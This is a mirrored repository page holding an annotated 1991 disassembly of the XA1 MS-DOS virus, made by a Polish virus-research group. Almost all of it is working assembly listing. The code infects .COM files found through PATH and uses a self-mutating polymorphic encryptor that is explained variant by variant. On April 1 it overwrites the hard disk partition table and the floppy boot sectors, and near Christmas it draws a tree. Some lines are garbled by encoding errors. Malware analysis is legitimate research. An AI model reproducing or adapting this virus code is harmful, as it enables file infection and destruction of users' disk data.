ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-20 18:36:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity
77f45e4097
MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.xa1.lst

910 lines
30 KiB
Plaintext
Raw Normal View History

Add files via upload
2021-01-13 00:07:35 +00:00
;==============================================
; Virus XA1 isolated in Poland in June 1991
;
; disassembled by Andrzej Kadlof July 1991
;
; (C) Polish Section of Virus Information Bank
;==============================================
; virus entry point
0100 EB07 jmp 0109
0102 56 0A 03 59 00 ; first 7 bytes forms virus signature
0107 2A 00 ; generation counter, never used (?)
; prepare stack for tricks
; stack usage:
; [BP + 2] cleared but not used
; [BP + 0] offset in block
; [BP - 2] low byte of size of decrypted part and encryption key
0109 0E push cs ; make free space on stack
010A E80000 call 010D ; put current offset on the stack
010D FA cli ; disable interrupt to safe stack
010E 8BEC mov bp,sp
0110 58 pop ax
0111 32C0 xor al,al
0113 894602 mov [bp+02],ax ; corrupt debbuger return address ??
0116 8146002800 add word ptr [bp],0028 ; offset of first byte to encrypt
; encrypt virus code, this routine is changed in different virus copies
011B B9CE05 mov cx,05CE ; length of decrypted block
011E B08C mov al,8C ; 8C is changed!
0120 8846FF mov [bp-01],al
0123 8B5E00 mov bx,[bp] ; current position in block
; ^^ changed, possible 3 wariants:
; ..5E.. mov bx,[bp] versions 0, 1, 2
; ..76.. mov si,[bp] versions 3, 4, 5
; ..7E.. mov di,[bp] versions 6, 7, 8
0126 884EFE mov [bp-02],cl ; low byte of counter
0129 8A4EFF mov cl,[bp-01] ; encrypt key
012C D207 rol byte ptr [bx],cl ; byte manipulation
; ^^^^ changed, possible 9 wariants:
; 000F add byte ptr [bx],cl version 0
; 300F xor byte ptr [bx],cl version 1
; D2O7 rol byte ptr [bx],cl version 2
; 000C add byte ptr [si],cl version 3
; 300C xor byte ptr [si],cl version 4
; D204 rol byte ptr [si],cl version 5
; 000D add byte ptr [di],cl version 6
; 300D xor byte ptr [di],cl version 7
; D205 rol byte ptr [di],cl version 8
012E EB00 jmp 0130 ; short pause
0130 43 inc bx ; position in block
; ^^ changed, possible 3 wariants:
; 43 inc bx version 0, 1, 2
; 46 inc si version 3, 4, 5
; 47 inc di version 6, 7, 8
0131 8A4EFE mov cl,[bp-02] ; restore block size
0134 E2F0 loop 0126 ; offset is decrypted!
; encrypted part
0136 FB sti
; get address of curent DTA and store it on the stack
0137 B42F mov ah,2F
0139 CD21 int 21
013B 06 push es
013C 53 push bx
; get keyboard status bits
013D 33C0 xor ax,ax
013F 8ED8 mov ds,ax
0141 A01704 mov al,[0417]
0144 2410 and al,10 ; extract scroll lock state
0146 50 push ax ; store
0147 80261704EF and byte ptr [0417],EF ; clear scroll lock flag
; restore DS
014C 8CC8 mov ax,cs
014E 8ED8 mov ds,ax
; intercepte INT 24h
0150 BAC606 mov dx,06C6
0153 B82425 mov ax,2524 ; set interrupt vector
0156 CD21 int 21
; search for PATH= in environment block
0158 A12C00 mov ax,[002C] ; segment of environment block
015B 8EC0 mov es,ax
015D 33FF xor di,di ; begin of environment block
015F FC cld
0160 26803D00 cmp es:byte ptr [di],00 ; end of block marker
0164 741D je 0183 ; end fo block
0166 BE1B05 mov si,051B ; offset of string 'PATH='
0169 B90500 mov cx,0005 ; length of string
016C 8BC7 mov ax,di ; starting address
016E F3A6 rep cmpsb ; compare
0170 7411 je 0183 ; found
0172 8BF8 mov di,ax ; last starting point
0174 32C0 xor al,al
0176 B5FF mov ch,FF ; maximum block size
0178 F2AE repnz scasb
017A 74E4 je 0160
017C BF1A05 mov di,051A ; end of buffer for path
017F 8CC8 mov ax,cs ; restore ES
0181 8EC0 mov es,ax
0183 C706C1056205 mov word ptr [05C1],0562
; set local DTA
0189 BA3605 mov dx,0536
018C B41A mov ah,1A ; set DTA
018E CD21 int 21
0190 A1F906 mov ax,[06F9]
0193 A3F706 mov [06F7],ax
0196 A1FD06 mov ax,[06FD]
0199 A3FB06 mov [06FB],ax
019C B90500 mov cx,0005 ; counter of potential victims
019F BA1505 mov dx,0515 ; '*.COM', 0
01A2 06 push es
01A3 57 push di
01A4 51 push cx
01A5 8CC8 mov ax,cs
01A7 8EC0 mov es,ax
01A9 B9FFFF mov cx,FFFF ; all possible attributes
01AC B44E mov ah,4E ; find first
01AE EB06 jmp 01B6
01B0 59 pop cx ; restore counter
01B1 E35B jcxz 020E ; limit reached, check show/destruction
01B3 B44F mov ah,4F ; find next
01B5 51 push cx ; store counter
01B6 CD21 int 21
01B8 7203 jb 01BD ; continue
01BA E9F100 jmp 02AE
; restore address of path in environment block
01BD 59 pop cx
01BE 5F pop di
01BF 07 pop es
01C0 26803D00 cmp es:byte ptr [di],00 ; end of block?
01C4 744A je 0210 ; yes
; copy path to buffer
01C6 BB6205 mov bx,0562 ; offset of buffer
01C9 268A05 mov al,es:[di] ; next character
01CC 0AC0 or al,al ; end of block?
01CE 740A je 01DA ; yes
01D0 47 inc di
01D1 3C3B cmp al,3B ; ';', end of path?
01D3 7405 je 01DA ; yes
01D5 8807 mov [bx],al ; copy character
01D7 43 inc bx ; increase pointer
01D8 EBEF jmp 01C9 ; get next character
01DA 81FB6205 cmp bx,0562 ; buffer not empty?
01DE 74E0 je 01C0 ; empty
01E0 8A47FF mov al,[bx-01]
01E3 3C3A cmp al,3A ; ':', root directory
01E5 7408 je 01EF ; yes
01E7 3C5C cmp al,5C ; check last character, '\'
01E9 7404 je 01EF ; there is
01EB C6075C mov byte ptr [bx],5C ; add '\'
01EE 43 inc bx ; pointer to last character
01EF 06 push es
01F0 57 push di
01F1 51 push cx
01F2 891EC105 mov [05C1],bx ; store it
01F6 8BF3 mov si,bx
01F8 81EB6205 sub bx,0562 ; find path length
01FC 8BCB mov cx,bx
01FE BF1405 mov di,0514 ; destination buffer
0201 8CC8 mov ax,cs ; restore ES
0203 8EC0 mov es,ax
0205 4E dec si
0206 FD std
0207 F3A4 rep movsb ; copy
0209 8BD7 mov dx,di
020B 42 inc dx
020C EB97 jmp 01A5 ; find first
; end of infection proces, check condition for destruction/show
020E 58 pop ax ; balance stack
020F 58 pop ax
0210 8CC8 mov ax,cs ; restore ES
0212 8EC0 mov es,ax
; get date
0214 B42A mov ah,2A ; get date
0216 CD21 int 21
0218 81FA0104 cmp dx,0401 ; April 1?
021C 7533 jne 0251 ; no
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
; DESTRUCTION OF HARD DISK AND FLOPPIES IN A: AND B:
;
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><>
; copy partition table to sector 11h of side 0, track 0
021E BA8000 mov dx,0080 ; first hard drive
0221 B90100 mov cx,0001 ; track 0 sector 1 (partition table)
0224 BB0307 mov bx,0703 ; destroy victim code
0227 B80102 mov ax,0201 ; read 1 sector
022A 52 push dx
022B 51 push cx
022C 53 push bx
022D CD13 int 13 ; disk I/O
022F 5B pop bx
0230 59 pop cx
0231 5A pop dx
0232 B111 mov cl,11 ; new place for partition table
0234 B80103 mov ax,0301 ; write partition table
0237 CD13 int 13
; set and of sector marker in the buffer
0239 C706350855AA mov word ptr [0835],AA55 ; end of sector marker
; overwrite partition table
023F B280 mov dl,80
0241 E87404 call 06B8 ; write one sector to disk
; overwrite boot sector of drive A:
0244 32D2 xor dl,dl
0246 E86F04 call 06B8 ; write one sector do disk
; overwrite boot sector of drive B:
0249 B201 mov dl,01
024B E86A04 call 06B8 ; write disk
024E EB0A jmp 025A
0250 90 nop
; compare date
0251 81FA180C cmp dx,0C18 ; december 24?
0255 7203 jb 025A ; date earlier
;<><><><<><><><><><><><><><><><><><><><>
;
; CHRISTMAS SHOW
;
; see the description of subroutine 05D7
;<><><><><><><><><><><><><><><><><><><><><>
0257 E87D03 call 05D7 ; drow christmas tree
; make sound
025A E440 in al,40
025C 3CF8 cmp al,F8
025E 7206 jb 0266
0260 E461 in al,61
0262 0C03 or al,03
0264 E661 out 61,al
; restore the state of scroll lock flag
0266 33C0 xor ax,ax
0268 8ED8 mov ds,ax
026A 58 pop ax
026B 08061704 or [0417],al
; restore INT 24h
026F 2E8E1E1400 mov ds,cs:[0014] ; segment of INT 24h in PSP
0274 2E8B161200 mov dx,cs:[0012] ; offset of INT 24h in PSP
0279 B82425 mov ax,2524 ; set interrupt vector
027C CD21 int 21
; restore DTA
027E 5A pop dx
027F 1F pop ds
0280 B41A mov ah,1A ; set DTA
0282 CD21 int 21
; restore DS
0284 8CC8 mov ax,cs
0286 8ED8 mov ds,ax
0288 BEF006 mov si,06F0
028B 8B3EF706 mov di,[06F7]
028F 033EFB06 add di,[06FB]
0293 57 push di
0294 B90700 mov cx,0007
0297 FC cld
0298 F3A4 rep movsb
029A 33C0 xor ax,ax
029C 8BD8 mov bx,ax
029E 8BD0 mov dx,ax
02A0 8BE8 mov bp,ax
02A2 8B36F706 mov si,[06F7]
02A6 BF0001 mov di,0100
02A9 8B0EFB06 mov cx,[06FB]
02AD C3 ret
02AE BE5405 mov si,0554 ; file name in FCB
02B1 8B3EC105 mov di,[05C1] ; address of destination
02B5 B90D00 mov cx,000D ; length of asciiz string
02B8 FC cld
02B9 F3A4 rep movsb ; copy
02BB BF2005 mov di,0520 ; buffer for file name
02BE E8FA01 call 04BB ; copy
02C1 7503 jne 02C6
02C3 E9EAFE jmp 01B0 ; find next/destruct/show
02C6 BF2B05 mov di,052B
02C9 E8EF01 call 04BB ; copy file name
02CC 7503 jne 02D1
02CE E9DFFE jmp 01B0 ; find next/destruct/show
02D1 C606610500 mov byte ptr [0561],00
02D6 90 nop
02D7 F6064B0507 test byte ptr [054B],07 ; attribute byte in DTA
02DC 740F je 02ED ; hiden, system or read only, open file
02DE BA6205 mov dx,0562 ; file name
02E1 33C9 xor cx,cx ; clear all attributes
02E3 B80143 mov ax,4301 ; set file attributes
02E6 CD21 int 21
02E8 7303 jnb 02ED ; open file
02EA E9C3FE jmp 01B0 ; find next/destruct/show
02ED BA6205 mov dx,0562
02F0 B8023D mov ax,3D02 ; open file for read/write
02F3 CD21 int 21
02F5 8BD8 mov bx,ax ; handle
02F7 7303 jnb 02FC
02F9 E9B4FE jmp 01B0 ; find next
; check file size
02FC A15205 mov ax,[0552] ; high word of file size in DTA
02FF 0BC0 or ax,ax
0301 7403 je 0306 ; file below 64K
0303 E99001 jmp 0496 ; close file and find next
0306 A15005 mov ax,[0550] ; lower word of file size
0309 3D0700 cmp ax,0007 ; minimum file size
030C 72F5 jb 0303 ; close file and find next
030E 3D00F8 cmp ax,F800 ; maximum file size
0311 73F0 jnb 0303 ; close file and find next
; mayby already infected?
0313 8B16F706 mov dx,[06F7] ; form address of bufer
0317 0316FB06 add dx,[06FB]
031B B90700 mov cx,0007 ; number of bytes
031E 52 push dx
031F 51 push cx
0320 B43F mov ah,3F ; read file
0322 CD21 int 21
0324 59 pop cx
0325 5E pop si
0326 7208 jb 0330 ; read error, close and find next
; compare first 7 bytes with own code
0328 BF0001 mov di,0100 ; destination
032B FC cld
032C F3A6 rep cmpsb
032E 7503 jne 0333
0330 E96301 jmp 0496 ; close file and find next, (infected!)
; get and store file date and time
0333 B80057 mov ax,5700 ; get file time stamp
0336 CD21 int 21
0338 72F6 jb 0330 ; close file, find next
033A 89160107 mov [0701],dx ; store date
033E 890EFF06 mov [06FF],cx ; store time
0342 C606610501 mov byte ptr [0561],01
0347 90 nop
; check file size, if less than 603h bytes then append some garbage
0348 A15005 mov ax,[0550] ; file size
034B 3D0306 cmp ax,0603
034E 7321 jnb 0371
; file length is less than 603h, add some garbage
0350 33D2 xor dx,dx
0352 33C9 xor cx,cx
0354 B80242 mov ax,4202 ; move file ptr to EOF
0357 CD21 int 21
0359 7303 jnb 035E ; no errors, continue
035B E93801 jmp 0496 ; close file and find next
035E B90306 mov cx,0603 ; number of bytes
0361 2B0E5005 sub cx,[0550] ; file size
0365 B440 mov ah,40 ; write file
0367 CD21 int 21
0369 B80306 mov ax,0603 ; new file size
036C 7303 jnb 0371
036E E92501 jmp 0496 ; close file and find next
; now file is at least 603h bytes long
0371 FEC4 inc ah
0373 A3F906 mov [06F9],ax ; oryginal file size + 256
0376 A15005 mov ax,[0550] ; file size
0379 BE0306 mov si,0603 ; virus length
037C 33FF xor di,di
037E 3BC6 cmp ax,si
0380 7302 jnb 0384
0382 8BF0 mov si,ax
0384 8936FD06 mov [06FD],si
0388 8BD7 mov dx,di
038A 33C9 xor cx,cx
038C B80042 mov ax,4200 ; move file ptr to BOF
038F CD21 int 21
0391 7303 jnb 0396
0393 E90001 jmp 0496 ; close file and find next
0396 8B16F706 mov dx,[06F7]
039A 0316FB06 add dx,[06FB]
039E B90002 mov cx,0200
03A1 3BF1 cmp si,cx
03A3 7302 jnb 03A7
03A5 8BCE mov cx,si ; number of bytes
03A7 52 push dx
03A8 51 push cx
03A9 B43F mov ah,3F ; read file
03AB CD21 int 21
03AD 59 pop cx
03AE 5A pop dx
03AF 7303 jnb 03B4 ; continue
03B1 E9E200 jmp 0496 ; close file and find next
03B4 52 push dx
03B5 51 push cx
03B6 33D2 xor dx,dx
03B8 33C9 xor cx,cx
03BA B80242 mov ax,4202 ; move file ptr to EOF
03BD CD21 int 21
03BF 59 pop cx
03C0 5A pop dx
03C1 7303 jnb 03C6 ; continue
03C3 E9D000 jmp 0496 ; close file and find next
03C6 B440 mov ah,40 ; write file
03C8 CD21 int 21
03CA 7303 jnb 03CF
03CC E9C700 jmp 0496 ; close file and find next
03CF 81C70002 add di,0200
03D3 81EE0002 sub si,0200
03D7 7602 jbe 03DB
03D9 EBAD jmp 0388
03DB FF060701 inc word ptr [0107] ; infection counter
03DF 33D2 xor dx,dx
03E1 33C9 xor cx,cx
03E3 B80042 mov ax,4200 ; move file ptr to BOF
03E6 CD21 int 21
03E8 7303 jnb 03ED
03EA E9A900 jmp 0496 ; close file and find next
03ED 53 push bx ; store handle
03EE E440 in al,40
03F0 A807 test al,07
03F2 74FA je 03EE
03F4 A21F01 mov [011F],al ; change decryption key
; get random number from system timer count
03F7 33C0 xor ax,ax
03F9 8AF8 mov bh,al
03FB 8ED8 mov ds,ax
03FD A06C04 mov al,[046C] ; timer, low byte
0400 8CCA mov dx,cs ; restore DS
0402 8EDA mov ds,dx
; generate rundom number in BX in the range 0..8
0404 B103 mov cl,03
0406 F6F1 div cl ; AL <- AL/3, AH <- remainder
0408 8AEC mov ch,ah ; store remainder (0, 1 or 2)
040A 32E4 xor ah,ah ; prepare division
040C F6F1 div cl ; AL <- AL / 9, AH <- remainder
040E 8AC4 mov al,ah ; AL <- second remainder
0410 02C0 add al,al ; *2, AL in [0..4]
0412 02C4 add al,ah ; *3, AL in [0..6]
0414 02C5 add al,ch ; first remainder
0416 8AD8 mov bl,al ; BL in [0..8]
; multiply BX by 4 (table entry size)
0418 03DB add bx,bx
041A 03DB add bx,bx
041C 81C3C906 add bx,06C9 ; offset of table
; modify encryption routine (automodyfication)
0420 8A07 mov al,[bx]
0422 A22401 mov [0124],al ; 3 versions 5E/76/7E
0425 8B4701 mov ax,[bx+01]
0428 A32C01 mov [012C],ax ; 9 wersions
042B 8A4703 mov al,[bx+03] ; 3 versions
042E A23001 mov [0130],al
0431 8AC5 mov al,ch
; prepare decrypt routine
0433 BBED06 mov bx,06ED
0436 D7 xlat
0437 A26104 mov [0461],al ; modify decryption routine
; write new encryption routine to file
043A 5B pop bx ; restore handle
043B BA0001 mov dx,0100 ; begin of file
043E B93500 mov cx,0035 ; block size
0441 B440 mov ah,40 ; write file
0443 CD21 int 21
0445 724F jb 0496 ; close file and find next
; decryption routine
0447 BE3501 mov si,0135 ; start of decrypted block
044A B9CE05 mov cx,05CE ; size of decrypted block
044D 53 push bx ; store handle
044E 51 push cx
044F B80002 mov ax,0200
0452 8B1EF706 mov bx,[06F7]
0456 031EFB06 add bx,[06FB]
045A 53 push bx
045B 8A0E1F01 mov cl,[011F] ; decription key
045F 8A2C mov ch,[si]
0461 D2CD ror ch,cl ; <-- changed (3 variants)
; ^^ changed byte, possible wariants:
; 28CD sub ch,cl versions: 0, 3, 6
; 30CD xor ch,cl versions: 1, 4, 7
; D2CD ror ch,cl versions: 2, 5, 8
0463 882F mov [bx],ch
0465 43 inc bx
0466 46 inc si
0467 48 dec ax
0468 75F5 jne 045F
046A 5A pop dx
046B 59 pop cx
046C 5B pop bx
046D 51 push cx
046E 81F90102 cmp cx,0201
0472 7203 jb 0477
0474 B90002 mov cx,0200
0477 B440 mov ah,40 ; write file
0479 CD21 int 21
047B 59 pop cx
047C 7218 jb 0496 ; close file and find next
047E 81E90002 sub cx,0200
0482 77C9 ja 044D
; restore file time stamp
0484 8B160107 mov dx,[0701] ; file date
0488 8B0EFF06 mov cx,[06FF] ; file time
048C B80157 mov ax,5701 ; set file time stamp
048F CD21 int 21
0491 7203 jb 0496 ; close file and find next
; decrease counter on the stack
0493 59 pop cx
0494 49 dec cx
0495 51 push cx
0496 B43E mov ah,3E ; close file
0498 CD21 int 21
049A 8A0E4B05 mov cl,[054B] ; attributes
049E FE0E6105 dec byte ptr [0561]
04A2 7405 je 04A9
04A4 F6C107 test cl,07 ; hidden, system, read only
04A7 740F je 04B8
04A9 80F920 cmp cl,20 ; archive
04AC 740A je 04B8
04AE BA6205 mov dx,0562 ; file name
04B1 32ED xor ch,ch
04B3 B80143 mov ax,4301 ; set file attributes
04B6 CD21 int 21
04B8 E9F5FC jmp 01B0 ; find next
;----------------------------------------
; move 11 bytes do DS:DI ('C:\COMMAND.')
04BB BE6205 mov si,0562
04BE B90B00 mov cx,000B
04C1 FC cld
04C2 F3A6 rep cmpsb
04C4 C3 ret
; buffer for path
04C5 30 31 32 33 34 35 36 37 01234567
04CD 38 39 30 31 32 33 34 35 89012345
04D5 36 37 38 39 30 31 32 33 67890123
04DD 34 35 36 37 38 39 30 31 45678901
04E5 32 33 34 35 36 37 38 39 23456789
04ED 30 31 32 33 34 35 36 37 01234567
04F5 38 39 30 31 32 33 34 35 89012345
04FD 36 37 38 43 3A 5C 4A 45 678C:\JE
0505 5A 59 4B 49 43 3A 5C 50 ZYKIC:\P
050D 43 44 3A 5C 55 43 3A 5C CD:\UC:\
; paterns for search
0515 2A 2E 43 4F 4D 00 50 41 *.COM PA
051D 54 48 3D TH=
; buffers for file names
0520 49 42 4D 42 49 IBMBI
0525 4F 2E 43 4F 4D 00 O.COM
052B 49 42 IB
052D 4D 44 4F 53 2E 43 4F 4D MDOS.COM
0535 00
; local DTA
0536 03 3F 3F 3F 3F 3F 3F ;\
053D 3F 3F 43 4F 4D FF 02 00 ; | reserved
0545 00 00 00 00 00 00 ;/
054B 20 ; file attribute
054C 00 60 71 0E ; file time stamp
0550 DB 62 00 00 ; file size
0554 43 4F 4D 4D 41 4E 44 2E 43 4F 4D 00 00 ; file name (COMMAND.COM, 0, 0)
0561 01 ; flag: attributes are changed
0562 43 3A 5C C:\
0565 43 4F 4D 4D 41 4E 44 2E COMMAND.
056D 43 4F 4D 00 00 4D 00 00 COM M
0575 00 2E 43 4F 4D 00 4F 68 .COM Oh
057D 4E 6F 21 4F 68 4E 6F 21 No!OhNo!
0585 4F 68 4E 6F 21 4F 68 4E OhNo!OhN
058D 6F 21 4F 68 4E 6F 21 4F o!OhNo!O
0595 68 4E 6F 21 4F 68 4E 6F hNo!OhNo
059D 21 4F 68 4E 6F 21 4F 68 !OhNo!Oh
05A5 4E 6F 21 4F 68 4E 6F 21 No!OhNo!
05AD 4F 68 4E 6F 21 4F 68 4E OhNo!OhN
05B5 6F 21 4F 68 4E 6F 21 4F o!OhNo!O
05BD 68 4E 6F 21 hNo!
05C1 65 05 ;
;---------------------------------------
; write character (or space) cx times
05C3 B020 mov al,20
05C5 50 push ax
05C6 E89E00 call 0667 ; write character
05C9 58 pop ax
05CA E2F9 loop 05C5
05CC C3 ret
;-------------
; next line
05CD B00D mov al,0D
05CF E89500 call 0667 ; write character
05D2 B00A mov al,0A
05D4 E99000 jmp 0667 ; write character
;------------------------------
; drow christmast tree
;
; result will look like this:
;
;
; <20>
; ***
; *****
; *******
; *********
; ***********
; *************
; ***************
; *****************
; *******************
; *********************
; ***********************
; *************************
; ***************************
; *****************************
; <20><><EFBFBD>
; <20><><EFBFBD>
; <20><><EFBFBD>
;<3B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
; Und er lebt doch noch : Der Tannenbaum !
; Frohe Weihnachten ...
;
05D7 B92700 mov cx,0027
05DA E8E6FF call 05C3 ; clear 39 characters
05DD B0AD mov al,AD ; '<27>'
05DF E88500 call 0667 ; write character
05E2 E8E8FF call 05CD ; new line
05E5 BB0300 mov bx,0003
05E8 BA2600 mov dx,0026
05EB 8BCA mov cx,dx
05ED E8D3FF call 05C3 ; write CX spaces
05F0 8BCB mov cx,bx
05F2 B02A mov al,2A ; '*'
05F4 E8CEFF call 05C5 ; write CX characters
05F7 E8D3FF call 05CD ; new line
05FA 4A dec dx
05FB 83C302 add bx,0002
05FE 83FB1F cmp bx,001F
0601 75E8 jne 05EB
0603 BB0300 mov bx,0003
0606 B92600 mov cx,0026
0609 E8B7FF call 05C3 ; write CX spaces
060C B90300 mov cx,0003
060F B0DB mov al,DB ; '<27>'
0611 E8B1FF call 05C5 ; write CX characters
0614 E8B6FF call 05CD ; next line
0617 4B dec bx
0618 75EC jne 0606
061A B95000 mov cx,0050 ; full line
061D B0CD mov al,CD ; '<27>'
061F E8A3FF call 05C5 ; write character CX times
0622 B91300 mov cx,0013
0625 E89BFF call 05C3 ; write CX spaces
0628 BB7406 mov bx,0674 ; string: Und er lebt doch ...
062B E82C00 call 065A ; write string
062E B91D00 mov cx,001D
0631 E88FFF call 05C3 ; clear part of line
0634 EB24 jmp 065A ; write asciiz string pointed by BX
0636 90 nop
0637 E80000 call 063A
063A 5B pop bx
063B 83C30D add bx,000D
063E 8CC8 mov ax,cs
0640 8ED8 mov ds,ax
0642 E81500 call 065A ; write string
0645 EBFE jmp 0645 ; hang CPU
0647 41 70 72 69 6C 2C 20 41 April, A
064F 70 72 69 6C 20 2E 2E 2E pril ...
0657 20 07 00
;-----------------------------------
; write asciiz string pointed by BX
065A 8A07 mov al,[bx] ; get character
065C 43 inc bx ; next character
065D 0AC0 or al,al ; and of string?
065F 7405 je 0666 ; yes, RET
0661 E80300 call 0667 ; write character
0664 EBF4 jmp 065A ; get next character
0666 C3 ret
;--------------------
; write character TTL
0667 52 push dx
0668 51 push cx
0669 53 push bx
066A 32FF xor bh,bh
066C B40E mov ah,0E
066E CD10 int 10
0670 5B pop bx
0671 59 pop cx
0671 59 pop cx
0672 5A pop dx
0673 C3 ret
0674 55 6E 64 20 65 72 20 6C Und er l
067C 65 62 74 20 64 6F 63 68 ebt doch
0684 20 6E 6F 63 68 20 3A 20 noch :
068C 44 65 72 20 54 61 6E 6E Der Tann
0694 65 6E 62 61 75 6D 20 21 enbaum !
069C 0D 0A 00 46 72 6F 68 65 Frohe
06A4 20 57 65 69 68 6E 61 63 Weihnac
06AC 68 74 65 6E 20 2E 2E 2E hten ...
06B4 0D 0A 07 00
;------------------------------------------
; write one sector to disk specified in DL
; track 9, side 0 sector 1
06B8 32F6 xor dh,dh
06BA B90100 mov cx,0001
06BD BB3706 mov bx,0637
06C0 B80103 mov ax,0301
06C3 CD13 int 13
06C5 C3 ret
;==================
; INT 24h handler
06C6 B000 mov al,00
06C8 CF iret
; table of bytes for changing encrypt routine
06C9 5E 00 0F 43
06CD 5E 30 0F 43
06D1 5E D2 07 43
06D5 76 00 0C 46
06D9 76 30 0C 46
06DD 76 D2 04 46
06E1 7E 00 0D 47
06E5 7E 30 0D 47
06E9 7E D2 05 47
; table for variants of decrypt routine
06ED 28 30 D2
; part of victime code
06F0 F3A4 rep movsb
06F2 8BF1 mov si,cx
06F4 8BF9 mov di,cx
06F6 C3 ret
06F7 0307 ; offset of buffer/modified code
06F9 DB63 ; file size + 256
06FB C603 ;
06FD 0306 ;
06FF 0060 ; file date
0701 710E ; file time
Reference in New Issue Copy Permalink